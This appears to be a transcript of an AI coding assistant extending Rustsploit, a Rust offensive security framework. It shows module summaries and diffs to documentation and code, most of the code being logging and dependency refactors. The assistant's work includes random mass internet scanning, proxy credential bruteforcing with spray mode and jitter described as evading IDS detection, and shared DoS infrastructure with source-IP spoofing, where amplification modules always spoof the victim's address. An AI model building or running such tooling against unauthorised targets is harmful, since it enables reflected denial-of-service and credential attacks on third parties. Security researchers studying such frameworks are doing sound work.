├───────────┼───────┼─────────────────────────────────────┼──────────────────────┼────────────────────────────────────────────────┤
|
||||
│ SSDP │ 1900 │ M-SEARCH ssdp:all (107 bytes) │ ~30x │ HTTP/1.1 response = UPnP exposed │
|
||||
├───────────┼───────┼─────────────────────────────────────┼──────────────────────┼────────────────────────────────────────────────┤
|
||||
│ Memcached │ 11211 │ UDP stats (15 bytes) │ ~51,000x │ Response with STAT = UDP exposed │
|
||||
└───────────┴───────┴─────────────────────────────────────┴──────────────────────┴────────────────────────────────────────────────┘
|
||||
|
||||
Features:
|
||||
- Single-target mode with table output, risk rating, and remediation recommendations
|
||||
- Mass scan mode via run_mass_scan() (random, CIDR, file targets)
|
||||
- Protocol selection: dns,ntp,ssdp,memcached,all
|
||||
- Configurable timeout (default 3000ms)
|
||||
- Verbose mode with probe/response size details
|
||||
- Color-coded amplification factors (>100x red, >10x yellow)
|
||||
- Risk assessment: CRITICAL (>500x), HIGH (>50x), MEDIUM (>10x), LOW
|
||||
- Uses crate::utils::udp_bind() for source port compliance
|
||||
|
||||
Usage:
|
||||
use scanners/amplification_scanner
|
||||
set target 8.8.8.8 # single target
|
||||
run
|
||||
|
||||
set target 192.168.1.0/24 # subnet scan
|
||||
run
|
||||
|
||||
set target random # mass internet scan
|
||||
run
|
||||
|
||||
✻ Churned for 6m 20s
|
||||
Here's the summary of everything created:
|
||||
|
||||
New Modules (4)
|
||||
|
||||
┌────────────────────────────────┬────────────┬────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────┐
|
||||
│ Module │ Type │ Description │
|
||||
├────────────────────────────────┼────────────┼────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────┤
|
||||
│ scanners/proxy_scanner │ Scanner │ Detects open HTTP CONNECT, SOCKS4, SOCKS5, and HTTP Forward proxies. Identifies auth-required vs open. Multi-port scanning (8080, 3128, 1080, 8888, 9050, etc). Mass scan support. │
|
||||
├────────────────────────────────┼────────────┼────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────┤
|
||||
│ creds/generic/proxy_bruteforce │ Credential │ Bruteforces proxy authentication: HTTP CONNECT (Basic auth), SOCKS5 (RFC 1929 user/pass), HTTP Forward (Basic auth). Full bruteforce engine integration (spray, combo, linear, │
|
||||
│ │ │ credential files, jitter, retry). │
|
||||
├────────────────────────────────┼────────────┼────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────┤
|
||||
│ scanners/banner_grabber │ Scanner │ Grabs service banners from open ports with protocol-specific probes (HTTP HEAD, RTSP OPTIONS). Auto-identifies SSH, FTP, SMTP, HTTP, MySQL, Redis, VNC, etc. Mass scan support. │
|
||||
├────────────────────────────────┼────────────┼───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
|
||||
|
||||
┌──────────────────────┬──────────────────────────────────────────┬─────────────────────────────────┐
|
||||
│ Type │ Scanner Detection │ Bruteforce Auth │
|
||||
├──────────────────────┼──────────────────────────────────────────┼─────────────────────────────────┤
|
||||
│ HTTP CONNECT (Basic) │ Sends CONNECT, checks 200/407 │ Basic auth header │
|
||||
├──────────────────────┼──────────────────────────────────────────┼─────────────────────────────────┤
|
||||
│ SOCKS5 (no auth) │ Greeting [05,02,00,02], checks method 00 │ - │
|
||||
├──────────────────────┼──────────────────────────────────────────┼─────────────────────────────────┤
|
||||
│ SOCKS5 (user/pass) │ Greeting, checks method 02 │ RFC 1929 auth packet │
|
||||
├──────────────────────┼──────────────────────────────────────────┼─────────────────────────────────┤
|
||||
│ SOCKS4 │ Connect packet, checks 5A response │ - (SOCKS4 has no auth standard) │
|
||||
├──────────────────────┼──────────────────────────────────────────┼─────────────────────────────────┤
|
||||
│ HTTP Forward │ Full GET, checks 200 + body │ Basic auth header │
|
||||
└──────────────────────┴──────────────────────────────────────────┴─────────────────────────────────┘
|
||||
|
||||
+12
-1
@@ -19,7 +19,7 @@ A high-level summary of significant changes. For the full detailed log, see [`ch
|
||||
- **20 new exploit modules** — XWiki RCE, Dify default creds, SolarWinds WHD, MCPJam RCE, Langflow RCE, SAP NetWeaver (CVSS 10.0), SharePoint ToolPane, Craft CMS x2, Laravel Livewire, CitrixBleed 2, HPE OneView (CVSS 10.0), F5 BIG-IP, SonicWall SMA, Ivanti ICS x2, Tomcat PUT, WSUS, Erlang SSH (CVSS 10.0), FreePBX
|
||||
- **8 new scanners** — ssl_scanner, service_scanner, redis_scanner, vnc_scanner, snmp_scanner, waf_detector, subdomain_scanner, nbns_scanner
|
||||
- **9 new credential modules** — vnc, imap, mysql, postgres, redis, elasticsearch, couchdb, memcached, http_basic bruteforce
|
||||
- **MCP integration** — Model Context Protocol server with 30 tools and 7 resources for Claude Desktop and external tool connectivity
|
||||
- **MCP integration** — Model Context Protocol server with 42 tools and 7 resources for Claude Desktop and external tool connectivity
|
||||
- **Payload mutation engine** — 9 WAF bypass strategies (URL encode, case toggle, comment injection, unicode homoglyph, etc.) in `src/native/payload_engine.rs`
|
||||
- **Native RDP bruteforce** — TCP+TLS+CredSSP/NTLM authentication, no xfreerdp/rdesktop dependency
|
||||
- **Mass scan engine unification** — shared `run_mass_scan()` engine replaced ~900 lines of duplicated code across 13 cred modules
|
||||
@@ -40,6 +40,17 @@ A high-level summary of significant changes. For the full detailed log, see [`ch
|
||||
- Jenkins LFI: fixed async deadlock
|
||||
- Apache Tomcat: replaced hardcoded session IDs with proper generation
|
||||
|
||||
### Performance & Infrastructure (2026-04-07)
|
||||
|
||||
- **Dependency cleanup** — removed 5 redundant crates (aes-gcm, subtle, hyper, hyper-util, futures-util), migrated once_cell to std::sync::LazyLock (10 files), updated sha1/sha2/hkdf to latest
|
||||
- **Compile performance** — trimmed tokio from "full" to 10 specific features, removed socket2 "all", optimized build.rs regex (compile once, pre-filter before regex match)
|
||||
- **Connection speed** — cached reqwest::Client pool (72+ modules benefit), cached TLS connector singleton, zero-alloc tcp_connect_addr() eliminating 65K String allocs per full port scan
|
||||
- **Source port enforcement** — 63 raw TcpStream::connect and 3 UdpSocket::bind bypasses fixed across 44 files; all 190 modules now respect `setg source_port`
|
||||
- **Bruteforce engine** — fixed Redis command injection (RESP format), SMTP 2s to 10s timeout, FTP 421 retry, HTTP redirect false positives; added ComboMode::Spray, jitter_ms, credential file loading, HTTP client reuse
|
||||
- **Spool compliance** — converted 500+ raw println!/eprintln! to crate::mprintln!/crate::meprintln! across all modules and infrastructure
|
||||
- **Zero warnings** — eliminated all compiler warnings, dead code, unused imports
|
||||
- **DoS spoofing infrastructure** — unified FastRng, checksum, gen_ipv4_public into src/native/dos_utils.rs; global `setg spoof_ip true` support; ~300 lines of duplicated code removed from 8 modules
|
||||
|
||||
---
|
||||
|
||||
## Recent Changes
|
||||
|
||||
@@ -41,12 +41,54 @@ All bruteforce modules use the shared engine (`crate::modules::creds::utils`):
|
||||
| `run_bruteforce()` | Single-target credential testing with concurrency, progress, retry |
|
||||
| `run_subnet_bruteforce()` | CIDR subnet scanning with per-host credential testing |
|
||||
| `run_mass_scan()` | Random/file/CIDR mass scanning with lightweight probes |
|
||||
| `generate_combos()` | Generate user/password pairs (combo or linear mode) |
|
||||
| `generate_combos_mode()` | Generate user/password pairs (linear, combo, or spray mode) |
|
||||
| `load_credential_file()` | Load user:pass pairs from a colon-separated file |
|
||||
|
||||
Avoid custom concurrency — always use the engine which handles semaphores, progress reporting, lockout detection, and credential storage.
|
||||
|
||||
---
|
||||
|
||||
## Combo Modes
|
||||
|
||||
All bruteforce modules support three credential combination strategies via `ComboMode`:
|
||||
|
||||
| Mode | Ordering | Use Case |
|
||||
|------|----------|----------|
|
||||
| `Linear` | Pair user[i] with pass[i], cycling shorter list | Paired credentials from a breach dump |
|
||||
| `Combo` | Full cross product (every user x every password) | Standard bruteforce |
|
||||
| `Spray` | For each password, try all users before next password | Active Directory lockout avoidance |
|
||||
|
||||
Modules prompt: `Combo mode (linear/combo/spray) [combo]:`
|
||||
|
||||
---
|
||||
|
||||
## Credential File Support
|
||||
|
||||
Modules can load `user:pass` pairs directly from a file (one pair per line, colon-separated):
|
||||
|
||||
```rust
|
||||
use crate::modules::creds::utils::load_credential_file;
|
||||
let extra = load_credential_file("creds.txt")?;
|
||||
combos.extend(extra);
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Jitter Support
|
||||
|
||||
`BruteforceConfig.jitter_ms` adds random delay (0..jitter_ms) between attempts to evade IDS pattern detection. Default is 0 (disabled). Also supported in `SubnetScanConfig`.
|
||||
|
||||
---
|
||||
|
||||
## Protocol Safety
|
||||
|
||||
- **Redis** — all commands use RESP array format (length-prefixed) to prevent \r\n injection
|
||||
- **HTTP** — redirect responses are inspected for login/auth/signin/sso paths to prevent false positives
|
||||
- **FTP** — 421 (connection limit) responses are classified as retryable errors with backoff
|
||||
- **SMTP** — connection timeout is 10 seconds (configurable), not the previous 2 seconds
|
||||
|
||||
---
|
||||
|
||||
## IPv6 Support
|
||||
|
||||
Use `format_addr` to wrap IPv6 addresses in brackets and handle port suffixes:
|
||||
|
||||
@@ -189,3 +189,32 @@ The `exploits/bluetooth/wpair` module exploits a flaw in the Google Fast Pair pr
|
||||
- The module requires physical proximity to the target Bluetooth accessory (typically <10 meters)
|
||||
- Success depends on winning the race condition against the legitimate pairing device
|
||||
- Some accessories implement additional pairing verification that may prevent the attack
|
||||
|
||||
---
|
||||
|
||||
## DoS Module Development
|
||||
|
||||
### Shared Infrastructure
|
||||
|
||||
All raw-packet DoS modules use shared utilities from `crate::native::dos_utils`:
|
||||
|
||||
| Utility | Purpose |
|
||||
|---------|---------|
|
||||
| `FastRng::with_thread_seed(id)` | Per-thread XorShift128+ PRNG |
|
||||
| `FastRng::gen_ipv4_public()` | Random public IPv4 (avoids private/reserved/multicast) |
|
||||
| `FastRng::gen_ephemeral_port()` | Random port 49152-65535 |
|
||||
| `checksum_16(data)` | RFC 1071 Internet checksum |
|
||||
| `sum_16(data, init)` | Partial checksum accumulator |
|
||||
| `is_spoof_enabled()` | Check `setg spoof_ip true` global option |
|
||||
|
||||
### Source IP Spoofing
|
||||
|
||||
**Raw-packet modules** (SYN flood, UDP flood, ICMP flood, amplification attacks) support source IP spoofing via `socket2::Type::RAW` with `IP_HDRINCL`. Enable globally:
|
||||
|
||||
```
|
||||
setg spoof_ip true
|
||||
```
|
||||
|
||||
Modules with user prompts (null_syn_exhaustion, udp_flood, icmp_flood) use the global as the default value. Amplification modules (DNS, NTP, SSDP, Memcached) always spoof the victim IP as source.
|
||||
|
||||
**TCP-based modules** (slowloris, RUDY, HTTP flood, connection exhaustion) cannot spoof — TCP requires a valid 3-way handshake.
|
||||
|
||||
@@ -34,7 +34,7 @@ The server reads one JSON-RPC 2.0 request per line from stdin and writes one res
|
||||
|
||||
---
|
||||
|
||||
## Tools (30)
|
||||
## Tools (42)
|
||||
|
||||
### Module Tools
|
||||
|
||||
@@ -179,7 +179,7 @@ src/mcp/
|
||||
mod.rs -- Module re-exports
|
||||
types.rs -- JSON-RPC 2.0 types, MCP capability structs, Tool/Resource/ToolResult types
|
||||
server.rs -- Stdio event loop, request routing, response serialization
|
||||
tools.rs -- 30 tool definitions and dispatch handlers
|
||||
tools.rs -- 42 tool definitions and dispatch handlers
|
||||
resources.rs -- 7 resource definitions and read handlers
|
||||
client.rs -- MCP client implementation (for connecting to external MCP servers)
|
||||
```
|
||||
|
||||
@@ -316,3 +316,25 @@ let encoded = encode_payload(raw_payload, EncodingType::Xor { key: 0x41 })?;
|
||||
```
|
||||
|
||||
The engine is used by the `payload_encoder` and `narutto_dropper` exploit modules. When writing new exploit modules that deliver payloads, prefer using the mutation engine over hardcoded encoding to benefit from future encoding additions.
|
||||
|
||||
---
|
||||
|
||||
## Mandatory Framework Rules
|
||||
|
||||
### Network Connections
|
||||
- **TCP**: MUST use `crate::utils::network::tcp_connect()` or `tcp_connect_addr()` — never raw `TcpStream::connect`
|
||||
- **UDP**: MUST use `crate::utils::network::udp_bind()` or `blocking_udp_bind()` — never raw `UdpSocket::bind("0.0.0.0:0")`
|
||||
- **HTTP**: MUST use `crate::utils::build_http_client()` for reqwest clients (cached, connection pooling)
|
||||
- **TLS**: Use `crate::native::async_tls::make_dangerous_tls_connector()` (cached singleton)
|
||||
- **Blocking TCP**: Use `crate::utils::blocking_tcp_connect()` for SSH and other blocking protocols
|
||||
|
||||
These utilities automatically respect `setg source_port` for firewall bypass testing.
|
||||
|
||||
### Console Output
|
||||
- MUST use `crate::mprintln!()` / `crate::meprintln!()` — never raw `println!` / `eprintln!`
|
||||
- This ensures output is captured by the spool logging system when active
|
||||
|
||||
### DoS Modules
|
||||
- Use `crate::native::dos_utils::FastRng` for packet randomization
|
||||
- Use `crate::native::dos_utils::checksum_16()` for IP/TCP/UDP checksums
|
||||
- Use `crate::native::dos_utils::is_spoof_enabled()` to check global `setg spoof_ip true`
|
||||
|
||||
@@ -17,6 +17,7 @@ Rustsploit provides several utility modules that every module developer should k
|
||||
| **Export** | `crate::export` | Export engagement data to JSON/CSV/summary |
|
||||
| **Output** | `crate::output` | Formatted output helpers with spool integration and color support |
|
||||
| **Payload Engine** | `crate::native::payload_engine` | Payload encoding/mutation (XOR, Base64, hex, zero-width, custom) for AV evasion |
|
||||
| **DoS Utils** | `crate::native::dos_utils` | FastRng (XorShift128+), checksum_16, sum_16, is_spoof_enabled |
|
||||
|
||||
---
|
||||
|
||||
@@ -621,6 +622,16 @@ std::fs::write(&out_path, results)?;
|
||||
|
||||
---
|
||||
|
||||
### `tcp_connect_addr(addr: SocketAddr, timeout: Duration) -> io::Result<TcpStream>`
|
||||
|
||||
Zero-allocation TCP connection for resolved IP addresses. Skips DNS resolution and string parsing. Automatically binds to global source port if set.
|
||||
|
||||
### `build_http_client(timeout: Duration) -> Result<reqwest::Client>`
|
||||
|
||||
Returns a cached reqwest::Client (keyed by timeout). Clients are Arc-based internally so cloning is cheap. Enables HTTP keep-alive and connection pooling across module runs.
|
||||
|
||||
---
|
||||
|
||||
## Extending Utils
|
||||
|
||||
Add new reusable helpers to `src/utils/` (the appropriate submodule: `prompt.rs`, `sanitize.rs`, `target.rs`, `network.rs`, or `modules.rs`), `creds/utils.rs`, or `config.rs` rather than copy-pasting into individual modules. Common candidates:
|
||||
|
||||
+2
-3
@@ -1261,9 +1261,8 @@ async fn honeypot_check(Json(payload): Json<HoneypotCheckRequest>) -> Response {
|
||||
}
|
||||
};
|
||||
let addr = format!("{}:{}", ip, port);
|
||||
let conn = tokio::time::timeout(scan_timeout, tokio::net::TcpStream::connect(&addr))
|
||||
.await;
|
||||
if let Ok(Ok(_)) = conn {
|
||||
let conn = crate::utils::network::tcp_connect(&addr, scan_timeout).await;
|
||||
if let Ok(_) = conn {
|
||||
Some(port)
|
||||
} else {
|
||||
None
|
||||
|
||||
+2
-3
@@ -15,7 +15,7 @@ use crate::utils::normalize_target;
|
||||
use crate::modules::creds::utils::{
|
||||
is_subnet_target, parse_subnet, subnet_host_count,
|
||||
is_mass_scan_target, generate_random_public_ip, parse_exclusions,
|
||||
is_ip_checked, mark_ip_checked, EXCLUDED_RANGES,
|
||||
check_and_mark_ip, EXCLUDED_RANGES,
|
||||
};
|
||||
|
||||
/// CLI dispatcher
|
||||
@@ -254,12 +254,11 @@ async fn dispatch_single_target(category: &str, module_name: &str, target: &str)
|
||||
};
|
||||
let ip_str = ip.to_string();
|
||||
|
||||
if is_ip_checked(&ip, &sf).await {
|
||||
if check_and_mark_ip(&ip, &sf).await {
|
||||
tc.fetch_add(1, Ordering::Relaxed);
|
||||
drop(permit);
|
||||
return;
|
||||
}
|
||||
mark_ip_checked(&ip, &sf).await;
|
||||
|
||||
// Quick honeypot check before running module
|
||||
if honeypot_enabled && crate::utils::network::quick_honeypot_check(&ip_str).await {
|
||||
|
||||
+3
-3
@@ -156,7 +156,7 @@ impl GlobalConfig {
|
||||
|
||||
// Check for valid characters
|
||||
// Allow: a-z, A-Z, 0-9, '.', '-', '_', ':', '[', ']' (for IPv6)
|
||||
static VALID_CHARS: once_cell::sync::Lazy<Regex> = once_cell::sync::Lazy::new(|| {
|
||||
static VALID_CHARS: std::sync::LazyLock<Regex> = std::sync::LazyLock::new(|| {
|
||||
Regex::new(r"^[a-zA-Z0-9.\-_:\[\]]+$").expect("hardcoded regex must compile")
|
||||
});
|
||||
let valid_chars = &*VALID_CHARS;
|
||||
@@ -270,7 +270,7 @@ impl GlobalConfig {
|
||||
}
|
||||
|
||||
/// Global configuration instance
|
||||
use once_cell::sync::Lazy;
|
||||
use std::sync::LazyLock as Lazy;
|
||||
|
||||
pub static GLOBAL_CONFIG: Lazy<GlobalConfig> = Lazy::new(|| GlobalConfig::new());
|
||||
|
||||
@@ -428,7 +428,7 @@ pub fn results_dir() -> std::path::PathBuf {
|
||||
.join("results");
|
||||
if !dir.exists() {
|
||||
use std::os::unix::fs::DirBuilderExt;
|
||||
if let Err(e) = std::fs::DirBuilder::new().mode(0o700).recursive(true).create(&dir) { eprintln!("[!] Directory creation error: {}", e); }
|
||||
if let Err(e) = std::fs::DirBuilder::new().mode(0o700).recursive(true).create(&dir) { crate::meprintln!("[!] Directory creation error: {}", e); }
|
||||
}
|
||||
dir
|
||||
}
|
||||
|
||||
+22
-22
@@ -1,6 +1,6 @@
|
||||
use std::path::PathBuf;
|
||||
use tokio::sync::RwLock;
|
||||
use once_cell::sync::Lazy;
|
||||
use std::sync::LazyLock as Lazy;
|
||||
use serde::{Serialize, Deserialize};
|
||||
use colored::*;
|
||||
|
||||
@@ -58,9 +58,9 @@ impl CredStore {
|
||||
Ok(contents) => match serde_json::from_str(&contents) {
|
||||
Ok(data) => data,
|
||||
Err(e) => {
|
||||
eprintln!("[!] Warning: creds.json is corrupted ({}). Starting fresh.", e);
|
||||
crate::meprintln!("[!] Warning: creds.json is corrupted ({}). Starting fresh.", e);
|
||||
let backup = file_path.with_extension("json.bak");
|
||||
if let Err(e) = std::fs::copy(&file_path, &backup) { eprintln!("[!] Backup copy error: {}", e); }
|
||||
if let Err(e) = std::fs::copy(&file_path, &backup) { crate::meprintln!("[!] Backup copy error: {}", e); }
|
||||
Vec::new()
|
||||
}
|
||||
},
|
||||
@@ -168,7 +168,7 @@ impl CredStore {
|
||||
async fn save_locked(&self, entries: &[CredEntry]) {
|
||||
if let Some(parent) = self.file_path.parent() {
|
||||
if let Err(e) = tokio::fs::create_dir_all(parent).await {
|
||||
eprintln!("[!] Warning: Failed to create creds directory: {}", e);
|
||||
crate::meprintln!("[!] Warning: Failed to create creds directory: {}", e);
|
||||
return;
|
||||
}
|
||||
}
|
||||
@@ -176,21 +176,21 @@ impl CredStore {
|
||||
let json = match serde_json::to_string_pretty(entries) {
|
||||
Ok(j) => j,
|
||||
Err(e) => {
|
||||
eprintln!("[!] Warning: Failed to serialize credentials: {}", e);
|
||||
crate::meprintln!("[!] Warning: Failed to serialize credentials: {}", e);
|
||||
return;
|
||||
}
|
||||
};
|
||||
if let Err(e) = tokio::fs::write(&tmp, &json).await {
|
||||
eprintln!("[!] Warning: Failed to write creds temp file: {}", e);
|
||||
crate::meprintln!("[!] Warning: Failed to write creds temp file: {}", e);
|
||||
return;
|
||||
}
|
||||
if let Err(e) = tokio::fs::rename(&tmp, &self.file_path).await {
|
||||
eprintln!("[!] Warning: Failed to save credentials (rename): {}", e);
|
||||
crate::meprintln!("[!] Warning: Failed to save credentials (rename): {}", e);
|
||||
return;
|
||||
}
|
||||
use std::os::unix::fs::PermissionsExt;
|
||||
if let Err(e) = tokio::fs::set_permissions(&self.file_path, std::fs::Permissions::from_mode(0o600)).await {
|
||||
eprintln!("[!] Warning: Failed to set permissions on creds.json: {}", e);
|
||||
crate::meprintln!("[!] Warning: Failed to set permissions on creds.json: {}", e);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -198,42 +198,42 @@ impl CredStore {
|
||||
pub async fn display(&self) {
|
||||
let entries = self.list().await;
|
||||
if entries.is_empty() {
|
||||
println!("{}", "No credentials stored. Use 'creds add' to add one.".dimmed());
|
||||
crate::mprintln!("{}", "No credentials stored. Use 'creds add' to add one.".dimmed());
|
||||
return;
|
||||
}
|
||||
println!();
|
||||
println!("{}", format!("Credentials ({} total):", entries.len()).bold().underline());
|
||||
println!();
|
||||
println!(" {:<10} {:<18} {:<6} {:<10} {:<16} {:<20} {:<10} {}",
|
||||
crate::mprintln!();
|
||||
crate::mprintln!("{}", format!("Credentials ({} total):", entries.len()).bold().underline());
|
||||
crate::mprintln!();
|
||||
crate::mprintln!(" {:<10} {:<18} {:<6} {:<10} {:<16} {:<20} {:<10} {}",
|
||||
"ID".bold(), "Host".bold(), "Port".bold(), "Service".bold(),
|
||||
"Username".bold(), "Secret".bold(), "Type".bold(), "Valid".bold());
|
||||
println!(" {}", "-".repeat(100).dimmed());
|
||||
crate::mprintln!(" {}", "-".repeat(100).dimmed());
|
||||
for e in &entries {
|
||||
let valid_str = if e.valid { "yes".green() } else { "no".red() };
|
||||
println!(" {:<10} {:<18} {:<6} {:<10} {:<16} {:<20} {:<10} {}",
|
||||
crate::mprintln!(" {:<10} {:<18} {:<6} {:<10} {:<16} {:<20} {:<10} {}",
|
||||
e.id, e.host, e.port, e.service, e.username,
|
||||
if e.secret.len() > 8 { format!("{}...", &e.secret[..5]) } else { e.secret.clone() },
|
||||
e.cred_type, valid_str);
|
||||
}
|
||||
println!();
|
||||
crate::mprintln!();
|
||||
}
|
||||
|
||||
/// Display search results.
|
||||
pub fn display_results(&self, results: &[CredEntry]) {
|
||||
if results.is_empty() {
|
||||
println!("{}", "No matching credentials found.".dimmed());
|
||||
crate::mprintln!("{}", "No matching credentials found.".dimmed());
|
||||
return;
|
||||
}
|
||||
println!();
|
||||
println!("{}", format!("Found {} credential(s):", results.len()).bold());
|
||||
println!();
|
||||
crate::mprintln!();
|
||||
crate::mprintln!("{}", format!("Found {} credential(s):", results.len()).bold());
|
||||
crate::mprintln!();
|
||||
for e in results {
|
||||
println!(" [{}] {}@{}:{} ({}) - {} [{}]",
|
||||
crate::mprintln!(" [{}] {}@{}:{} ({}) - {} [{}]",
|
||||
e.id.yellow(), e.username.green(), e.host, e.port,
|
||||
e.service, e.cred_type,
|
||||
if e.valid { "valid".green() } else { "invalid".red() });
|
||||
}
|
||||
println!();
|
||||
crate::mprintln!();
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
+3
-3
@@ -41,7 +41,7 @@ pub async fn export_json(path: &str) -> Result<()> {
|
||||
let json = export_json_string().await?;
|
||||
std::fs::write(path, &json)
|
||||
.context(format!("Failed to write to '{}'", path))?;
|
||||
println!("{}", format!("[+] Exported JSON to '{}'", path).green());
|
||||
crate::mprintln!("{}", format!("[+] Exported JSON to '{}'", path).green());
|
||||
Ok(())
|
||||
}
|
||||
|
||||
@@ -101,7 +101,7 @@ pub async fn export_csv(path: &str) -> Result<()> {
|
||||
let output = export_csv_string().await?;
|
||||
std::fs::write(path, &output)
|
||||
.context(format!("Failed to write to '{}'", path))?;
|
||||
println!("{}", format!("[+] Exported CSV to '{}'", path).green());
|
||||
crate::mprintln!("{}", format!("[+] Exported CSV to '{}'", path).green());
|
||||
Ok(())
|
||||
}
|
||||
|
||||
@@ -166,7 +166,7 @@ pub async fn export_summary(path: &str) -> Result<()> {
|
||||
let report = export_summary_string().await?;
|
||||
std::fs::write(path, &report)
|
||||
.context(format!("Failed to write to '{}'", path))?;
|
||||
println!("{}", format!("[+] Exported summary report to '{}'", path).green());
|
||||
crate::mprintln!("{}", format!("[+] Exported summary report to '{}'", path).green());
|
||||
Ok(())
|
||||
}
|
||||
|
||||
|
||||
+19
-19
@@ -1,7 +1,7 @@
|
||||
use std::collections::HashMap;
|
||||
use std::path::PathBuf;
|
||||
use tokio::sync::RwLock;
|
||||
use once_cell::sync::Lazy;
|
||||
use std::sync::LazyLock as Lazy;
|
||||
use colored::*;
|
||||
|
||||
/// Persistent global options that apply across all modules.
|
||||
@@ -24,9 +24,9 @@ impl GlobalOptions {
|
||||
Ok(contents) => match serde_json::from_str(&contents) {
|
||||
Ok(data) => data,
|
||||
Err(e) => {
|
||||
eprintln!("[!] Warning: global_options.json is corrupted ({}). Starting fresh.", e);
|
||||
crate::meprintln!("[!] Warning: global_options.json is corrupted ({}). Starting fresh.", e);
|
||||
let backup = file_path.with_extension("json.bak");
|
||||
if let Err(e) = std::fs::copy(&file_path, &backup) { eprintln!("[!] Backup copy error: {}", e); }
|
||||
if let Err(e) = std::fs::copy(&file_path, &backup) { crate::meprintln!("[!] Backup copy error: {}", e); }
|
||||
HashMap::new()
|
||||
}
|
||||
},
|
||||
@@ -53,16 +53,16 @@ impl GlobalOptions {
|
||||
/// Returns false if validation fails (BUG 16 fix).
|
||||
pub async fn set(&self, key: &str, value: &str) -> bool {
|
||||
if key.is_empty() || key.len() > Self::MAX_KEY_LEN {
|
||||
eprintln!("[!] Option key too long (max {} chars)", Self::MAX_KEY_LEN);
|
||||
crate::meprintln!("[!] Option key too long (max {} chars)", Self::MAX_KEY_LEN);
|
||||
return false;
|
||||
}
|
||||
if value.len() > Self::MAX_VALUE_LEN {
|
||||
eprintln!("[!] Option value too long (max {} chars)", Self::MAX_VALUE_LEN);
|
||||
crate::meprintln!("[!] Option value too long (max {} chars)", Self::MAX_VALUE_LEN);
|
||||
return false;
|
||||
}
|
||||
let mut opts = self.options.write().await;
|
||||
if opts.len() >= Self::MAX_OPTIONS && !opts.contains_key(key) {
|
||||
eprintln!("[!] Too many global options (max {}). Unset some first.", Self::MAX_OPTIONS);
|
||||
crate::meprintln!("[!] Too many global options (max {}). Unset some first.", Self::MAX_OPTIONS);
|
||||
return false;
|
||||
}
|
||||
opts.insert(key.to_string(), value.to_string());
|
||||
@@ -105,7 +105,7 @@ impl GlobalOptions {
|
||||
async fn save_locked(&self, opts: &HashMap<String, String>) {
|
||||
if let Some(parent) = self.file_path.parent() {
|
||||
if let Err(e) = tokio::fs::create_dir_all(parent).await {
|
||||
eprintln!("[!] Warning: Failed to create config directory: {}", e);
|
||||
crate::meprintln!("[!] Warning: Failed to create config directory: {}", e);
|
||||
return;
|
||||
}
|
||||
}
|
||||
@@ -113,21 +113,21 @@ impl GlobalOptions {
|
||||
let json = match serde_json::to_string_pretty(opts) {
|
||||
Ok(j) => j,
|
||||
Err(e) => {
|
||||
eprintln!("[!] Warning: Failed to serialize global options: {}", e);
|
||||
crate::meprintln!("[!] Warning: Failed to serialize global options: {}", e);
|
||||
return;
|
||||
}
|
||||
};
|
||||
if let Err(e) = tokio::fs::write(&tmp, &json).await {
|
||||
eprintln!("[!] Warning: Failed to write global options temp file: {}", e);
|
||||
crate::meprintln!("[!] Warning: Failed to write global options temp file: {}", e);
|
||||
return;
|
||||
}
|
||||
if let Err(e) = tokio::fs::rename(&tmp, &self.file_path).await {
|
||||
eprintln!("[!] Warning: Failed to save global options (rename): {}", e);
|
||||
crate::meprintln!("[!] Warning: Failed to save global options (rename): {}", e);
|
||||
return;
|
||||
}
|
||||
use std::os::unix::fs::PermissionsExt;
|
||||
if let Err(e) = tokio::fs::set_permissions(&self.file_path, std::fs::Permissions::from_mode(0o600)).await {
|
||||
eprintln!("[!] Warning: Failed to set permissions on global_options.json: {}", e);
|
||||
crate::meprintln!("[!] Warning: Failed to set permissions on global_options.json: {}", e);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -135,22 +135,22 @@ impl GlobalOptions {
|
||||
pub async fn display(&self) {
|
||||
let opts = self.all().await;
|
||||
if opts.is_empty() {
|
||||
println!("{}", "No global options set. Use 'setg <key> <value>' to set one.".dimmed());
|
||||
crate::mprintln!("{}", "No global options set. Use 'setg <key> <value>' to set one.".dimmed());
|
||||
return;
|
||||
}
|
||||
println!();
|
||||
println!("{}", "Global Options:".bold().underline());
|
||||
println!();
|
||||
println!(" {:<30} {}", "Key".bold(), "Value".bold());
|
||||
println!(" {:<30} {}", "---".dimmed(), "-----".dimmed());
|
||||
crate::mprintln!();
|
||||
crate::mprintln!("{}", "Global Options:".bold().underline());
|
||||
crate::mprintln!();
|
||||
crate::mprintln!(" {:<30} {}", "Key".bold(), "Value".bold());
|
||||
crate::mprintln!(" {:<30} {}", "---".dimmed(), "-----".dimmed());
|
||||
let mut keys: Vec<_> = opts.keys().collect();
|
||||
keys.sort();
|
||||
for key in keys {
|
||||
if let Some(val) = opts.get(key) {
|
||||
println!(" {:<30} {}", key.green(), val);
|
||||
crate::mprintln!(" {:<30} {}", key.green(), val);
|
||||
}
|
||||
}
|
||||
println!();
|
||||
crate::mprintln!();
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
+13
-13
@@ -1,7 +1,7 @@
|
||||
use std::collections::HashMap;
|
||||
use std::sync::atomic::{AtomicU32, Ordering};
|
||||
use std::sync::RwLock;
|
||||
use once_cell::sync::Lazy;
|
||||
use std::sync::LazyLock as Lazy;
|
||||
use serde::Serialize;
|
||||
use colored::*;
|
||||
use tokio::sync::watch;
|
||||
@@ -73,15 +73,15 @@ impl JobManager {
|
||||
result = crate::commands::run_module(&mod_clone, &tgt_clone, verbose) => {
|
||||
match result {
|
||||
Ok(_) => {
|
||||
println!("\n{}", format!("[*] Job completed: {} against {}", mod_clone, tgt_clone).green());
|
||||
crate::mprintln!("\n{}", format!("[*] Job completed: {} against {}", mod_clone, tgt_clone).green());
|
||||
}
|
||||
Err(e) => {
|
||||
eprintln!("\n{}", format!("[!] Job failed: {} - {}", mod_clone, e).red());
|
||||
crate::meprintln!("\n{}", format!("[!] Job failed: {} - {}", mod_clone, e).red());
|
||||
}
|
||||
}
|
||||
}
|
||||
_ = async { while rx.changed().await.is_ok() { if *rx.borrow() { break; } } } => {
|
